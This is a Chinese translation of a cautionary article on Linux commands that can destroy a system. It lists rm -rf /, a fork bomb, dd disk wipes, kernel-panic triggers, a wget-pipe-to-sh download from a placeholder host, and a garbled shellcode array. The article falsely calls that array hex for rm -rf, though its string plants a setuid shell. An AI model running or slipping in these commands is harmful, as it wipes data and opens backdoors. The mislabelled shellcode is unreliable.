絕不要用的 Linux 命令!
當然,除非你想幹掉你的機器。
蜘蛛俠有這樣的一句信條,「權力越大,責任越大。」 對於 Linux 系統管理員們來說,這也是一種應當採用的明智態度。
不,真的,真心感謝 DevOps 的溝通協作和雲編排技術,讓一個 Linux 管理員不僅能掌控一台伺服器,甚者能控制成千上萬台伺服器實例。只需要一個愚蠢的舉動,你甚至可以毀掉一個價值數十億美元的企業,就像 沒有打補丁的 Apache Struts 一樣。
如果不能跑在安全補丁之前,這將會帶來一個遠超過系統管理員工資水平的戰略性業務問題。這裡就有一些足以搞死 Linux 伺服器的簡單方式掌握在系統管理員手中。很容易想像到,只有新手才會犯這些錯誤,但是,我們需要了解的更多。
下列是一些著名的命令,任何擁有 root 許可權的用戶都能藉助它們對伺服器造成嚴重破壞。
警告:千萬不要在生產環境運行這些命令,它們會危害你的系統。不要在家裡嘗試,也不要在辦公室里測試。
那麼,繼續!
rm -rf /
想要乾脆利落的毀掉一個 Linux 系統嗎?你無法超越這個被譽為「史上最糟糕」的經典,它能刪除一切,我說的是,能刪除所有存在你系統里的內容!
和大多數 Linux 命令一樣,rm
這個核心命令使用起來非常方便。即便是最頑固的文件它也能幫你刪除。結合起後面兩個參數理解 rm
指令時,你很容易陷入大麻煩:-r
,強制遞歸刪除所有子目錄,-f
,無需確認,強制刪除所有隻讀文件。如果你在根目錄運行這條指令,將清除整個驅動器上的所有數據。
如果你真這麼幹了,想想該怎麼和老闆解釋吧!
現在,也許你會想,「我永遠不會犯這麼愚蠢的錯誤。」朋友,驕兵必敗。吸取一下經驗教訓吧, 這個警示故事來自於一個系統管理員在 Reddit 上的帖子:
我在 IT 界工作了很多年,但是今天,作為 Linux 系統 root 用戶,我在錯誤的系統路徑運行了
rm- f
長話短說,那天,我需要複製一大堆目錄從一個目錄到另一個目錄,和你一樣,我敲了幾個
cp -R
去複製我需要的內容。以我的聰明勁,我持續敲著上箭頭,在命令記錄中尋找可以複製使用的類似命令名,但是它們混雜在一大堆其他命令當中。
不管怎麼說,我一邊在 Skype、Slack 和 WhatsApp 的網頁上打字,一邊又和 Sage 通電話,注意力嚴重分散,我在敲入
rm -R ./videodir/* ../companyvideodirwith651vidsin/
這樣一條命令時神遊物外。
然後,當文件化為烏有時其中也包括了公司的視頻。幸運的是,在瘋狂敲擊 control -C
後,在刪除太多文件之前,系統管理員中止了這條命令。但這是對你的警告:任何人都可能犯這樣的錯誤。
事實上,絕大部分現代操作系統都會在你犯這些錯誤之前,用一段醒目的文字警告你。然而,如果你在連續敲擊鍵盤時忙碌或是分心,你將會把你的系統鍵入一個黑洞。(LCTT 譯註:幸運的是,可能在根目錄下刪除整個文件系統的人太多了額,後來 rm
默認禁止刪除根目錄,除非——你手動加上 --no-preserve-root
參數!)
這裡有一些更為隱蔽的方式調用 rm -rf
。思考一下下面的代碼:
char esp[] __attribute__ ((section(「.text」))) = 「xebx3ex5bx31xc0x50x54x5ax83xecx64x68」
「xffxffxffxffx68xdfxd0xdfxd9x68x8dx99」
「xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7」
「x56x04xf7x56x08xf7x56x0cx83xc4x74x56」
「x8dx73x08x56x53x54x59xb0x0bxcdx80x31」
「xc0x40xebxf9xe8xbdxffxffxffx2fx62x69」
「x6ex2fx73x68x00x2dx63x00」
「cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;」;
這是什麼?這是 16 進位的 rm -rf
寫法。在你不明確這段代碼之前,請千萬不要運行這條命令!
fork 炸彈
既然我們討論的都是些奇怪的代碼,不妨思考一下這一行:
:(){ :|: & };:
對你來說,這可能看起來有些神秘,但是我看來,它就是那個臭名昭著的 Bash fork 炸彈。它會反覆啟動新的 Bash shell,直到你的系統資源消耗殆盡、系統崩潰。
不應該在最新的 Linux 系統上做這些操作。注意,我說的是不應該。我沒有說不能。正確設置用戶許可權,Linux 系統能夠阻止這些破壞性行為。通常用戶僅限於分配使用機器可用內存。但是如果作為 root 用戶的你運行了這行命令(或者它的變體 Bash fork 炸彈變體),你仍然可以反覆虐待伺服器,直到系統重啟了。
垃圾數據重寫硬碟
有時候你想徹底清除硬碟的數據,你應該使用 Darik's Boot and Nuke (DBAN) 工具去完成這項工作。
但是如果僅僅想讓你的存儲器亂套,那很簡單:
任意命令 > /dev/hda
我說的「任意命令」,是指有輸出的任意命令,比如:
ls -la > /dev/hda
……將目錄列表通過管道送到你的主存儲設備。給我 root 許可權和足夠的時間,就能覆蓋整個硬碟設備。這是讓你開始盲目恐慌的一天的好辦法,或者,可以把它變成 職業禁入方式。
擦除硬碟!
另一個一直受歡迎的擦除硬碟的方式是執行:
dd if=/dev/zero of=/dev/hda
你可以用這條命令寫入數據到你的硬碟設備。dd
命令可以從特殊文件中獲取無盡個 0
字元,並且將它全部寫入你的設備。
可能現在聽起來 /dev/zero
是個愚蠢的想法,但是它真的管用。比如說,你可以使用它來 用零清除未使用的分區空間。它能使分區的鏡像壓縮到更小,以便於數據傳輸或是存檔使用。
在另一方面,它和 dd if=/dev/random of=/dev/hda
相近,除了能毀掉你的一天之外,不是一個好事。如果你運行了這個指令(千萬不要),你的存儲器會被隨機數據覆蓋。作為一個隱藏你要接管辦公室咖啡機的秘密計劃的半吊子方法,倒是不錯,但是你可以使用 DBAN 工具去更好的完成你的任務。
/dev/null 的損失
也許因為數據珍貴,我們對備份的數據沒有什麼信心,確實很多「永遠不要這樣做!」的命令都會導致硬碟或其它存儲倉庫的數據被擦除。一個鮮明的實例:另一個毀滅你的存儲設備的方式,運行 mv / /dev/null
或者 >mv /dev/null
。
在前一種情況下,你作為 root 用戶,把整個磁碟數據都送進這個如饑似渴的 /dev/null
。在後者,你僅僅把家目錄餵給這個空空如也的倉庫。任何一種情況下,除非還原備份,你再也不會再看見你的數據了。
見鬼,難道會計真的不需要最新的應收賬款文件了嗎?
格式化錯了驅動器
有時候你需要使用這一條命令格式化驅動器:
mkfs.ext3 /dev/hda
……它會用 ext3 文件系統格式化主硬碟驅動器。別,請等一下!你正在格式化你的主驅動器!難道你不需要用它?
當你要格式化驅動器的時候,請務必加倍確認你正在格式化的分區是真的需要格式化的那塊而不是你正在使用的那塊,無論它們是 SSD、快閃記憶體盤還是其他氧化鐵磁碟。
內核崩潰
一些 Linux 命令不能讓你的機器長時間停機。然而,一些命令卻可以導致內核崩潰。這些錯誤通常是由硬體問題引起的,但你也可以自己搞崩。
當你遭遇內核崩潰,重新啟動系統你才可以恢復工作。在一些情況下,這只是有點小煩;在另一些情況下,這是一個大問題,比如說,高負荷運作下的生產環境。下面有一個案例:
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
這些都會導致內核崩潰。
絕不要運行你並不了解它功能的命令,它們都在提醒我…
提防未知腳本
年輕或是懶惰的系統管理員喜歡複製別人的腳本。何必重新重複造輪子?所以,他們找到了一個很酷的腳本,承諾會自動檢查所有備份。他們就這樣運行它:
wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh
這會下載該腳本,並將它送到 shell 上運行。很明確,別大驚小怪,對吧?不對。這個腳本也許已經被惡意軟體感染。當然,一般來說 Linux 比大多數操作系統都要安全,但是如果你以 root 用戶運行未知代碼,什麼都可能會發生。這種危害不僅在惡意軟體上,腳本作者的愚蠢本身同樣有害。你甚至可能會因為一個未調試的代碼吃上一塹——由於你沒有花時間去讀它。
你認為你不會幹那樣的事?告訴我,所有那些 你在 Docker 裡面運行的容器鏡像在幹什麼?你知道它們到底在運行著什麼嗎?我見過太多的沒有驗證容器裡面裝著什麼就運行它們的系統管理員。請不要和他們一樣。
結束
這些故事背後的道理很簡單。在你的 Linux 系統里,你有巨大的控制權。你幾乎可以讓你的伺服器做任何事。但是在你使用你的許可權的同時,請務必做認真的確認。如果你沒有,你毀滅的不只是你的伺服器,而是你的工作甚至是你的公司。像蜘蛛俠一樣,負責任的使用你的許可權。
我有沒有遺漏什麼?在 @sjvn 或 @enterprisenxt 上告訴我哪些 Linux 命令在你的「絕不要運行!」的清單上。
via: https://www.hpe.com/us/en/insights/articles/the-linux-commands-you-should-never-use-1712.html
作者:Steven Vaughan-Nichols 譯者:CYLeft 校對:wxy
本文轉載來自 Linux 中國: https://github.com/Linux-CN/archive